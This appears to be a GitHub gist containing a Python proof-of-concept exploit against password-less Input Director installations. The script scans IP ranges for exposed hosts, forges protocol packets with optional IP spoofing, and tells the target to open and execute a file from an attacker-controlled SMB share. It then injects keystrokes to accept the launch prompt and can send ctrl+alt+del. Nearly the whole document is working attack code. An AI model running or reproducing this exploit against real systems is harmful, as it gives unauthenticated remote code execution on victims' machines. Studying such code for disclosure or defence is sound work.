Skip to content

Instantly share code, notes, and snippets.

@Keramas
Last active July 28, 2020 08:02
Show Gist options
  • Save Keramas/3ad44cefc47e5a8e0872092c15e5ca41 to your computer and use it in GitHub Desktop.
Save Keramas/3ad44cefc47e5a8e0872092c15e5ca41 to your computer and use it in GitHub Desktop.
# Scanner and remote file execution proof-of-concept for password-less instances of Input Director.
from pwn import *
import threading
import concurrent.futures
import time
import queue
import sys
from scapy.all import *
import argparse
inputDirectorPacket = dict ({
"magicHeader": b"\x17\x22\x01\x00\x03\x8F\x3B\xD4\x17\x22\x01\x00",
"headerLength": b"\xB4\x00\x00\x00",
"protocolVersion": b"\x13\x00\x00\x00",
"packetType": b"",
"packetLength": b"",
"sequenceNumber": b"\x01\x00\x00\x00",
"sessionKey": b"\xde\xad\xbe\xef\xde\xad\xbe\xef\xde\xad\xbe\xef\xde\xad\xbe\xef",
"sourceAddress": b"\xC0\xA8\x19\x01",
"sourcePort": b"\x02\x7A\x00\x00",
"headerLengthRepeat": b"\xB4\x00\x00\x00",
"encType": b"\x00",
"encPwTestAndUnknown": b"\x00\x00\x00",
"data": b""
})
inputEventPacket = dict ({
"numberOfInputEvents": b"\x01\x00\x00\x00",
"unknown1": b"\x00\x00\x00\x00",
"slaveNumber": b"\x00\x00\x00\x00",
"masterKbLayout": b"\x02\x00",
"flags": b"\x00\x00",
"neighborList": b"\x00" * 24,
"absCoord": b"\x00\x00\x00\x00" * 3,
"side": b"\x00\x00\x00\x00" * 2,
"clipboard": b"\x00\x00\x00\x00",
"ipMask": b"\xff\xff\xff\xff",
"port": b"\x02\x7a\x00\x00",
"mouseSetting": b"\x00" * 20,
"cursorSettings": b"\x00\x00\x00\x00",
"unknown2": b"\x00" * 16,
"inputs": b"",
})
keyInput = dict ({
"wVk": b"",
"wScan": b"",
"dwFlags": b"\x00\x00\x00\x01",
"time": b"\x00\x00\x00\x00",
"dwExtraInfo": b"\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00",
})
openFilePacket = dict ({
"fileName": b"\x00\x00\x00\x00",
})
def get_args():
parser = argparse.ArgumentParser(description="",epilog="")
parser.add_argument('-t','--target', type=str, help="Target host(s) comma delimited or hyphenated IP range", required=True)
parser.add_argument('-s','--spoof', type=str, help="Spoofed source IP", required=False)
parser.add_argument('-l','--lhost', type=str, help="Attack server/Listening server", required=False)
parser.add_argument('-f','--filename', type=str, help="File name (and share path) to execute (Format : share\\launcher.exe)", required=False)
parser.add_argument('-c','--cad', help="Send ctl+alt+del", default=False, action='store_true', required=False)
parser.add_argument('-S','--scanner', help="Put into scanner mode",default=False, action='store_true',required=False)
args = parser.parse_args()
target = args.target
spoof = args.spoof
CAD = args.cad
lhost = args.lhost
file_name = args.filename
scanner = args.scanner
return target,spoof,CAD,lhost,file_name,scanner
def udpserver(q):
while True:
s.wait_for_connection()
responseData = s.recv(1024)
q.put(responseData)
def authenticate(response,target,spoof,r):
inputDirectorPacket["data"] = b"\x90" * 100
inputDirectorPacket["packetType"] = b"\x1A\x00\x00\x00"
inputDirectorPacket["packetLength"] = b"\xA4\x00\x00\x00"
buffer = genPacket(inputDirectorPacket)
if spoof == None:
r.send(buffer)
# Check for ACK from host
try:
reply = response.get(timeout=5)
if reply[20:21] == b"\x1B":
log.success(f"Started successful session! - {target}")
else:
log.failure("Could not start session with remote host.")
r.close()
return False
except:
log.failure("Could not start session with remote host.")
r.close()
return False
time.sleep(2)
log.info("Requesting config...")
inputDirectorPacket["packetType"] = b"\x05\x00\x00\x00"
buffer2 = genPacket(inputDirectorPacket)
r.send(buffer2)
reply = response.get()
if reply[20:21] == b"\x06":
log.success("Config response received successfully!")
else:
log.failure("Did not receive config ACK")
else:
log.info("Spoofing src address as " + spoof)
send(IP(src=spoof,dst=target)/UDP(sport=50505,dport=31234)/buffer)
return True
def genPacket(packettype):
buffer = b""
for key in packettype.keys():
buffer += packettype[key]
return buffer
def ctlaltdel(response,target,spoof):
inputDirectorPacket["data"] = b"\x90" * 100
inputDirectorPacket["packetType"] = b"\x13\x00\x00\x00"
inputDirectorPacket["packetLength"] = b"\xA4\x00\x00\x00"
buffer = genPacket(inputDirectorPacket)
if spoof == None:
r.send(buffer)
reply = response.get()
if len(reply) != 0:
log.success("Payload for ctrl+alt+del successful.")
else:
log.failure("Failed to send payload")
else:
log.info("Sending spoofed ctrl+alt+delete.")
send(IP(src=spoof,dst=target)/UDP(sport=50505,dport=31234)/buffer)
def openFile(response,target,spoof,lhost,file_name):
inputDirectorPacket["packetType"] = b"\x21\x00\x00\x00" # Open file flag
inputDirectorPacket["packetLength"] = b"\xD0\x00\x00\x00"
openFilePacket["fileName"] += b"\\\\%b\\%b\x00" % (lhost.encode('utf-8'),file_name.encode('utf-8'))
inputEventPacket["inputs"] = genPacket(openFilePacket)
inputs = genPacket(inputEventPacket)
inputDirectorPacket["data"] = inputs
buffer = genPacket(inputDirectorPacket)
if spoof == None:
r.send(buffer)
log.success(f"Payload sent to execute {file_name}")
else:
log.info(f"Sending spoofed file open/execute request to -> {target}.")
send(IP(src=spoof,dst=target)/UDP(sport=50505,dport=31234)/buffer)
def sendInput(response,target,spoof):
buffer = b"\x17\x22\x01\x00\x03\x8f\x3b\xd4\x17\x22\x01\x00\xb4\x00\x00\x00\x13\x00\x00\x00\x0b\x00\x00\x00\xd0\x00\x00\x00\xbc\x15\x00\x00\x10\xb4\x31\x1b\x0e\xe0\x4c\x4e\x8a\xeb\x0c\x0a\x97\xe5\x3d\xd9\xac\x10\xb9\x84\x02\x7a\x00\x00\xb4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a\x03\x01\x00\x8c\x03\x01\x00\x1e\x00\x05\x00\x96\x00\x02\x00\x20\x03\x04\x00\x6a\x03\x02\x00\xf4\x02\x02\x00\x8a\x05\x17\x00\x7a\x06\x03\x00\x80\x06\x02\x00\x78\x06\x02\x00\x50\x06\x08\x00\x54\x06\x04\x00\x6c\x06\x02\x00\x72\x06\x02\x00\x32\x06\x1a\x00\x84\x05\x0c\x00\x34\x06\x19\x00\x18\x06\x36\x00\x5a\x06\x1d\x00\x64\x06\x32\x00\x06\x06\x18\x00\x60\x06\x2c\x00\x66\x06\x12\x00\x4c\x06\x0b\x00\x01\x00\x00\x00\x09\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xe9\x0f\x01"
buffer2 = b"\x17\x22\x01\x00\x03\x8f\x3b\xd4\x17\x22\x01\x00\xb4\x00\x00\x00\x13\x00\x00\x00\x0b\x00\x00\x00\xd0\x00\x00\x00\xbd\x15\x00\x00\x10\xb4\x31\x1b\x0e\xe0\x4c\x4e\x8a\xeb\x0c\x0a\x97\xe5\x3d\xd9\xac\x10\xb9\x84\x02\x7a\x00\x00\xb4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a\x03\x01\x00\x8c\x03\x01\x00\x1e\x00\x05\x00\x96\x00\x02\x00\x20\x03\x04\x00\x6a\x03\x02\x00\xf4\x02\x02\x00\x8a\x05\x17\x00\x7a\x06\x03\x00\x80\x06\x02\x00\x78\x06\x02\x00\x50\x06\x08\x00\x54\x06\x04\x00\x6c\x06\x02\x00\x72\x06\x02\x00\x32\x06\x1a\x00\x84\x05\x0c\x00\x34\x06\x19\x00\x18\x06\x36\x00\x5a\x06\x1d\x00\x64\x06\x32\x00\x06\x06\x18\x00\x60\x06\x2c\x00\x66\x06\x12\x00\x4c\x06\x0b\x00\x01\x00\x00\x00\x09\x00\x0f\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xe9\x0f\x01"
buffer3 = b"\x17\x22\x01\x00\x03\x8f\x3b\xd4\x17\x22\x01\x00\xb4\x00\x00\x00\x13\x00\x00\x00\x0b\x00\x00\x00\xd0\x00\x00\x00\xbe\x15\x00\x00\x10\xb4\x31\x1b\x0e\xe0\x4c\x4e\x8a\xeb\x0c\x0a\x97\xe5\x3d\xd9\xac\x10\xb9\x84\x02\x7a\x00\x00\xb4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a\x03\x01\x00\x8c\x03\x01\x00\x1e\x00\x05\x00\x96\x00\x02\x00\x20\x03\x04\x00\x6a\x03\x02\x00\xf4\x02\x02\x00\x8a\x05\x17\x00\x7a\x06\x03\x00\x80\x06\x02\x00\x78\x06\x02\x00\x50\x06\x08\x00\x54\x06\x04\x00\x6c\x06\x02\x00\x72\x06\x02\x00\x32\x06\x1a\x00\x84\x05\x0c\x00\x34\x06\x19\x00\x18\x06\x36\x00\x5a\x06\x1d\x00\x64\x06\x32\x00\x06\x06\x18\x00\x60\x06\x2c\x00\x66\x06\x12\x00\x4c\x06\x0b\x00\x01\x00\x00\x00\x09\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xe9\x0f\x01"
buffer4 = b"\x17\x22\x01\x00\x03\x8f\x3b\xd4\x17\x22\x01\x00\xb4\x00\x00\x00\x13\x00\x00\x00\x0b\x00\x00\x00\xd0\x00\x00\x00\xbf\x15\x00\x00\x10\xb4\x31\x1b\x0e\xe0\x4c\x4e\x8a\xeb\x0c\x0a\x97\xe5\x3d\xd9\xac\x10\xb9\x84\x02\x7a\x00\x00\xb4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a\x03\x01\x00\x8c\x03\x01\x00\x1e\x00\x05\x00\x96\x00\x02\x00\x20\x03\x04\x00\x6a\x03\x02\x00\xf4\x02\x02\x00\x8a\x05\x17\x00\x7a\x06\x03\x00\x80\x06\x02\x00\x78\x06\x02\x00\x50\x06\x08\x00\x54\x06\x04\x00\x6c\x06\x02\x00\x72\x06\x02\x00\x32\x06\x1a\x00\x84\x05\x0c\x00\x34\x06\x19\x00\x18\x06\x36\x00\x5a\x06\x1d\x00\x64\x06\x32\x00\x06\x06\x18\x00\x60\x06\x2c\x00\x66\x06\x12\x00\x4c\x06\x0b\x00\x01\x00\x00\x00\x09\x00\x0f\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xe9\x0f\x01"
buffer5 = b"\x17\x22\x01\x00\x03\x8f\x3b\xd4\x17\x22\x01\x00\xb4\x00\x00\x00\x13\x00\x00\x00\x0b\x00\x00\x00\xd0\x00\x00\x00\xc0\x15\x00\x00\x10\xb4\x31\x1b\x0e\xe0\x4c\x4e\x8a\xeb\x0c\x0a\x97\xe5\x3d\xd9\xac\x10\xb9\x84\x02\x7a\x00\x00\xb4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a\x03\x01\x00\x8c\x03\x01\x00\x1e\x00\x05\x00\x96\x00\x02\x00\x20\x03\x04\x00\x6a\x03\x02\x00\xf4\x02\x02\x00\x8a\x05\x17\x00\x7a\x06\x03\x00\x80\x06\x02\x00\x78\x06\x02\x00\x50\x06\x08\x00\x54\x06\x04\x00\x6c\x06\x02\x00\x72\x06\x02\x00\x32\x06\x1a\x00\x84\x05\x0c\x00\x34\x06\x19\x00\x18\x06\x36\x00\x5a\x06\x1d\x00\x64\x06\x32\x00\x06\x06\x18\x00\x60\x06\x2c\x00\x66\x06\x12\x00\x4c\x06\x0b\x00\x01\x00\x00\x00\x0d\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xe9\x0f\x01"
# 2 TAB hits and an ENTER press to accept the pop-up for the exe launching
confirmAccept = [buffer,buffer2,buffer3,buffer4,buffer5]
time.sleep(1)
if spoof == None:
for i in confirmAccept:
r.send(i)
else:
log.info("Sending spoofed key strokes.")
for i in confirmAccept:
send(IP(src=spoof,dst=target)/UDP(sport=50505,dport=31234)/i)
def scan(target,spoof,lhost):
target_list = []
valid_targets = []
delimiter_match = r"^(?:[0-9]{1,3}\.){3}[0-9]{1,3}($|-|,)"
delimiter_check = re.search(delimiter_match,target)
if delimiter_check.group(1) == "-":
targets = target.split("-")
start = targets[0]
octets = start.split(".")
subnet = ".".join(octets[:3])
minimum = octets[3]
maximum = targets[1]
for i in range(int(minimum),int(maximum)+1,1):
target_list.append(subnet+"."+str(i))
print(target_list)
elif delimiter_check.group(1) == ",":
targets = target.split(",")
for i in targets:
target_list.append(i)
print(target_list)
else:
target_list.append(target)
validate = raw_input("> Validating above hosts. Proceed? (Y/N): ")
if validate.strip() == b"y" or validate.strip() == b"Y":
log.info("Continuing...")
else:
print("[-] Exiting...")
sys.exit(1)
if spoof:
log.info("Attempting to validate hosts blindly with spoofing. Check lhost for connections.")
for ip in target_list:
authenticate(None,ip,spoof,None)
openFile(None,ip,spoof,lhost,file_name="IDFaq.txt")
else:
q = queue.Queue()
serverstart = threading.Thread(target=udpserver,args=(q,),daemon=True)
serverstart.start()
for ip in target_list:
r = remote(ip, 31234, typ="udp",timeout=2)
check = authenticate(q,ip,None,r)
if check:
r.close()
valid_targets.append(ip)
else:
r.close()
log.success("Completed scanning of host(s).")
print("\n[!] Validated the following hosts as likely vulnerable to password-less attack:")
for good in valid_targets:
log.success(f"{good} - OPEN")
if __name__ == '__main__':
log.info("Determining if Input Director host is responsive...")
s = listen(port=31234,bindaddr="0.0.0.0",typ="udp")
target,spoof,CAD,lhost,file_name,scanner = get_args()
if scanner:
if spoof == None:
scan(target,None,None)
else:
scan(target,spoof,lhost)
elif spoof:
authenticate(None,target,spoof,None)
time.sleep(3)
openFile(None,target,spoof,lhost,file_name)
sendInput(None,target,spoof)
if CAD:
ctlaltdel(None,target,spoof)
log.success("Done!")
else:
r = remote(target, 31234, typ="udp")
q = queue.Queue()
serverstart = threading.Thread(target=udpserver,args=(q,),daemon=True)
serverstart.start()
authenticate(q,target,None,r)
time.sleep(1)
openFile(q,target,None,lhost,file_name)
sendInput(q,target,None)
if CAD:
ctlaltdel(q,target,None)
log.success("Done!")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment